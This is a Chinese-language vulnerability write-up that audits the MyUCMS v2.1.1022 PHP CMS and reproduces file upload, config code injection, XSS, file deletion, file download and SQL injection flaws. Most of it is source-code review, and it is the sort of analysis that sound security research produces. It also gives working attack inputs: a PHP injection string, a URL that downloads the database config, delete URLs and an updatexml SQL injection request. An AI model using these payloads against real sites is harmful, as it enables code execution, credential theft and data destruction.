漏洞列表
漏洞类型 | 复现 |
---|---|
任意文件上传 | √ |
配置文件覆盖 | √ |
任意文件上传2 | √ |
跨站脚本漏洞 | √ |
任意文件删除 | √ |
任意文件下载 | √ |
sql注入 | √ |
复现漏洞
任意文件上传1
漏洞成因
展示位置:
代码位置:
myucms-v2.1.1022\application\admin\controller\Upload.php
public function upfile(){ if (!session('userid') || !session('username')) { $this->error('亲!请登录',url('bbs/login/index')); } else { return json($this->model->upfile('files')); }}
这里会判断是否登录,没有登录会跳转到登录界面,登录则会调用model->upfile
public function upfile($type,$filename = 'file',$is_water = false){ if (config('web.qiniuopen') == 1) { $driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey' => config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' => config('web.bucket')); $setting = array('rootPath' => './', 'saveName' => array('uniqid', ''), 'hash' => true); $setting['exts'] = explode(',', config('web.WEB_RXT')); $setting['maxSize'] = 50 * 1024 * 1024; $File = $_FILES['file']; $Upload = new Upload($setting, 'Qiniu', $driverConfig); $info = $Upload->uploadOne($File); if ($info) { $data['sha1'] = $info['sha1']; $data['md5'] = $info['md5']; $data['create_time'] = time(); $data['uid'] = session('userid'); $data['download'] = 0; $data['size'] = $info['size']; $data['name'] = $info['name']; $data['ext'] = $info['ext']; $data['savepath'] = $info['url']; $data['savename'] = $info['savename']; $data['mime'] = $info['type']; $map['md5'] = $info['md5']; $mmn = Db::name('file')->where($map)->find(); if (empty($mmn)) { Db::name('file')->insert($data); $res = Db::name('file')->getLastInsID(); if ($res > 0) { return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 0, 'ext' => $data['ext'], 'id' => $res, 'headpath' => $data['savepath'],'path' => $data['savepath'], 'md5' => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info' => $info); } else { return array('code' => 0, 'msg' => '上传失败'); } } else { return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $mmn['ext'], 'id' => $mmn['id'], 'headpath' => $data['savepath'],'path' => $mmn['savepath'], 'md5' => $mmn['md5'], 'savename' => $mmn['savename'], 'filename' => $mmn['name'], 'info' => $mmn); } } else { return array('code' => 0, 'msg' => $Upload->getError()); } } else {$file = request()->file($filename); $md5 = $file->hash('md5'); $n = Db::name('file')->where('md5', $md5)->find(); if (empty($n)) { $info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads'); if ($info) { $path = DS . 'uploads' . DS . $info->getSaveName(); $path = str_replace("\\", "/", $path); $realpath = WEB_URL . $path; $data['sha1'] = $info->sha1(); $data['md5'] = $info->md5(); $data['create_time'] = time(); $data['uid'] = session('userid'); $data['download'] = 0; $data['size'] = $info->getSize(); $fileinfo = $info->getInfo(); $data['name'] = $fileinfo['name']; $data['ext'] = $info->getExtension(); $data['savepath'] = $path; $data['savename'] = $info->getFilename(); $data['mime'] = $fileinfo['type']; Db::name('file')->insert($data); $res = Db::name('file')->getLastInsID(); if ($res > 0) { return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5' => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info' => $info->getInfo()); } else { return array('code' => 0, 'msg' => '上传失败'); } } else { return array('code' => 0, 'msg' => $file->getError()); } } else { $path = $n['savepath']; $realpath = WEB_URL . $path; return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' => $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n); } }}
由于默认配置config(‘web.qiniuopen’)等于零(myucms-v2.1.1022\application\extra\web.php),所以进入else
return ['WEB_GL'=>'0','WEB_KEJIAN'=>'0','WEB_KEJIANS'=>'0','WEB_INDEX'=>'bbs','WEB_BBS'=>'1','WEB_SHOP'=>'1','WEB_REG'=>'1','WEB_STA'=>'1','WEB_TAG'=>'插件,建议,模板,签到,反馈','WEB_TPT'=>'default','WEB_SHOPS'=>'default','WEB_URL'=>'','WEB_OPE'=>'1','WEB_BUG'=>'true','WEB_RXT'=>'rar,png,zip,jpg,gif,ico','ex'=>'extend/','addons'=>'请在官方下载正版','or'=>'org/','up'=>'Upload/','WEB_OPENS'=>'0','dr'=>'Driver/','do'=>'Dow.php','WEB_DES'=>'','secrectKey'=>'0','accessKey'=>'0','domain'=>'0','bucket'=>'0','qiniuopen'=>'0','Cascade'=>'1',];
使用request()->file($filename)获取文件
$file = request()->file($filename);
跟进,此处会处理上传文件获取全部内容
public function file($name = ''){ if (empty($this->file)) { $this->file = isset($_FILES) ? $_FILES : []; } if (is_array($name)) { return $this->file = array_merge($this->file, $name); } $files = $this->file; if (!empty($files)) { // 处理上传文件 $array = []; foreach ($files as $key => $file) { if (is_array($file['name'])) { $item = []; $keys = array_keys($file); $count = count($file['name']); for ($i = 0; $i < $count; $i++) { if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) { continue; } $temp['key'] = $key; foreach ($keys as $_key) { $temp[$_key] = $file[$_key][$i]; } $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp); } $array[$key] = $item; } else { if ($file instanceof File) { $array[$key] = $file; } else { if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) { continue; } $array[$key] = (new File($file['tmp_name']))->setUploadInfo($file); } } } if (strpos($name, '.')) { list($name, $sub) = explode('.', $name); } if ('' === $name) { // 获取全部文件 return $array; } elseif (isset($sub) && isset($array[$name][$sub])) { return $array[$name][$sub]; } elseif (isset($array[$name])) { return $array[$name]; } } return;}
使用$file->hash(‘md5’)生成md5值,执行Db::name(‘file’)->where(‘md5’, $md5)->find()查询file表中是否有这个md5的值,有的话就会返回保存的路径
$path = $n['savepath'];$realpath = WEB_URL . $path;return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' => $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
没有的话会判断上传的类型
$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
位置:myucms-v2.1.1022\application\extra\web.php
类型:‘rar,png,zip,jpg,gif,ico’
由于config(‘web.WEB_RXT’)的参数值可以添加,位置:myucms-v2.1.1022\application\admin\controller\conf.php
public function add(){ $path = 'application/extra/web.php'; $file = include $path; $config = array( 'WEB_RXT' => input('WEB_RXT'), 'WEB_GL' => input('WEB_GL'), 'WEB_REG' => input('WEB_REG'), 'WEB_TAG' => input('WEB_TAG'), 'WEB_OPE' => input('WEB_OPE'), 'WEB_BUG' => input('WEB_BUG'), 'WEB_BBS' => input('WEB_BBS'), 'WEB_SHOP' => input('WEB_SHOP'), 'WEB_INDEX' => input('WEB_INDEX'), 'WEB_KEJIAN' => input('WEB_KEJIAN'), 'WEB_KEJIANS' => input('WEB_KEJIANS'), 'Cascade' => input('Cascade'), //七牛 'bucket' => input('bucket'), 'accessKey' => input('accessKey'), 'secrectKey' => input('secrectKey'), 'domain' => input('domain'), 'qiniuopen' => input('qiniuopen'), ); $res = array_merge($file, $config); $str = '; foreach ($res as $key => $value) { $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ','; } $str .= ']; '; if (file_put_contents($path, $str)) { return json(array('code' => 200, 'msg' => '修改成功')); } else { return json(array('code' => 0, 'msg' => '修改失败')); }}
复现漏洞
虽然使用了白名单进行过滤,但是可以白名单可以被控制从而导致可以上传任意文件
上传成功拼接路径:url+返回的路径
代码注入漏洞
漏洞成因
此处包含application/extra/web.php文件而且没有进行过滤,可以输出任意的内容到web.php
public function add(){ $path = 'application/extra/web.php'; $file = include $path; $config = array( 'WEB_RXT' => input('WEB_RXT'), 'WEB_GL' => input('WEB_GL'), 'WEB_REG' => input('WEB_REG'), 'WEB_TAG' => input('WEB_TAG'), 'WEB_OPE' => input('WEB_OPE'), 'WEB_BUG' => input('WEB_BUG'), 'WEB_BBS' => input('WEB_BBS'), 'WEB_SHOP' => input('WEB_SHOP'), 'WEB_INDEX' => input('WEB_INDEX'), 'WEB_KEJIAN' => input('WEB_KEJIAN'), 'WEB_KEJIANS' => input('WEB_KEJIANS'), 'Cascade' => input('Cascade'), //七牛 'bucket' => input('bucket'), 'accessKey' => input('accessKey'), 'secrectKey' => input('secrectKey'), 'domain' => input('domain'), 'qiniuopen' => input('qiniuopen'), ); $res = array_merge($file, $config); $str = '; foreach ($res as $key => $value) { $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ','; } $str .= ']; '; if (file_put_contents($path, $str)) { return json(array('code' => 200, 'msg' => '修改成功')); } else { return json(array('code' => 0, 'msg' => '修改失败')); }}
写入代码
'];phpinfo();//
复现漏洞
其他几处地址也存在这个问题,如:qq.php等
任意文件上传2
漏洞成因
位置:myucms-v2.1.1022\application\admin\model\Shops.php
使用request()->file(‘FileName’)获取文件,直接进行移动并没有进行过滤和鉴权
public function doUploadPic(){ $file = request()->file('FileName'); $info = $file->move(ROOT_PATH . DS . 'uploads');if($info){$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();echo str_replace("\\","/",$path); }}
move方法:
public function move($path, $savename = true, $replace = true){ // 文件上传失败,捕获错误代码 if (!empty($this->info['error'])) { $this->error($this->info['error']); return false; } // 检测合法性 if (!$this->isValid()) { $this->error = 'upload illegal files'; return false; } // 验证上传 if (!$this->check()) { return false; } $path = rtrim($path, DS) . DS; // 文件保存命名规则 $saveName = $this->buildSaveName($savename); $filename = $path . $saveName; // 检测目录 if (false === $this->checkPath(dirname($filename))) { return false; } // 不覆盖同名文件 if (!$replace && is_file($filename)) { $this->error = ['has the same filename: {:filename}', ['filename' => $filename]]; return false; } if ($this->isTest) { rename($this->filename, $filename); } elseif (!move_uploaded_file($this->filename, $filename)) { $this->error = 'upload write error'; return false; } // 返回 File 对象实例 $file = new self($filename); $file->setSaveName($saveName)->setUploadInfo($this->info); return $file;}
漏洞复现
很多功能点的上传功能都使用doUploadPic同时也都存在安全问题
如:商城管理->商品管理->添加商品
上传成功
拼接请求
跨站脚本漏洞
漏洞成因
根据id直接更新内容到数据库中,没有进行过滤和其他限制的操作
public function doedit() { $id = input('id'); $data = $this->request->post(); $data['time'] = time(); if(Db::name('set')->where('id',$id)->data($data)->update($data)){ $this->success('更新成功'); } else { $this->error('更新失败'); } }
{:myucms(‘tongji’)}
漏洞复现
位置:系统管理->网站配置->统计代码
触发点位置:http://192.168.17.138/myucms-v2.1.1022/
任意文件删除
漏洞成因
使用$_GET[‘info’]获取文件路径拼接后传入到deleteun方法里
public function un(){ $info = $_GET['info']; $res=deleteun(ROOT_PATH.'addons'.DS.$info); if ($res) { return json(array('code' => 200, 'msg' => '删除成功')); }else{ return json(array('code' => 0, 'msg' => '删除失败')); }}
deleteun():循环删除目录的文件的函数
function deleteun($dir_name){ $result = false; if (is_dir($dir_name)) { if ($handle = opendir($dir_name)) { while (false !== ($item = readdir($handle))) { if ($item != '.' && $item != '..') { if (is_dir($dir_name . DS . $item)) { deleteun($dir_name . DS . $item); } else { unlink($dir_name . DS . $item); } } } closedir($handle); if (rmdir($dir_name)) { $result = true; } } } return $result;}
测试下删除myucms-v2.1.1022\addons\1目录
漏洞复现
-
位置1:/admin.php/addons/un.html?info=1
默认删除位置:\myucms-v2.1.1022\addons -
位置2:/admin.php/muban/un.html?info=1
默认删除位置:\myucms-v2.1.1022\application\bbs\view
任意文件下载1
漏洞成因
传入url、name、local的值,当local等于1会调用$down->download传入url和name
public function download($url, $name, $local){ $down = new Http(); if ($local == 1) { $down->download($url, $name); } else { }}
跟进$down->download并没有限制,只要文件存在即可下载
static public function download ($filename, $showname='',$content='',$expire=180) {if(is_file($filename)) {$length = filesize($filename);}elseif($content != '') {$length = strlen($content);}else {throw_exception($filename.L('下载文件不存在!'));}if(empty($showname)) {$showname = $filename;}$showname = basename($showname);if(!empty($filename)) {$type = mime_content_type($filename);}else{$type = "application/octet-stream";}//发送Http Header信息 开始下载header("Pragma: public");header("Cache-control: max-age=".$expire);//header('Cache-Control: no-store, no-cache, must-revalidate');header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");header("Content-Disposition: attachment; filename=".$showname);header("Content-Length: ".$length);header("Content-type: ".$type);header('Content-Encoding: none');header("Content-Transfer-Encoding: binary" );if($content == '' ) {readfile($filename);}else {echo($content);}exit();}
漏洞复现
拼接url请求
/myucms-v2.1.1022/index.php/bbs/index/download?url=application/database.php&local=1&name
下载成功
sql注入
漏洞成因
位置:application/bbs/controller/User.php/xiaoxidel
此处会判断当前登录状态,登录后才会进入漏洞触发位置
public function xiaoxidel($ids) { if (!session('userid') || !session('username')) { $this->error('亲!请登录',url('bbs/login/index')); } else { if ($ids==0) { $id = input('id'); $data['open'] = 1;if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {return json(array('code' => 200, 'msg' => '标记已读成功'));} else {return json(array('code' => 0, 'msg' => '标记已读失败'));} }elseif ($ids==1){ $id = input('id');if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {return json(array('code' => 200, 'msg' => '彻底删除成功'));} else {return json(array('code' => 0, 'msg' => '彻底删除失败'));} } } }
根据查询的语句得知传入id和userid,这里只需要id即可
Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)
拼接请求/index.php/bbs/user/xiaoxidel/ids/0/id/1
这里会更新id为1的消息阅读状态
漏洞复现
报错注入:and updatexml(1,concat(0x7e,user(),0x7e),1)
执行可以看到当前用户为root
/index.php/bbs/user/xiaoxidel/ids/0/id/1and updatexml(1,concat(0x7e,user(),0x7e),1)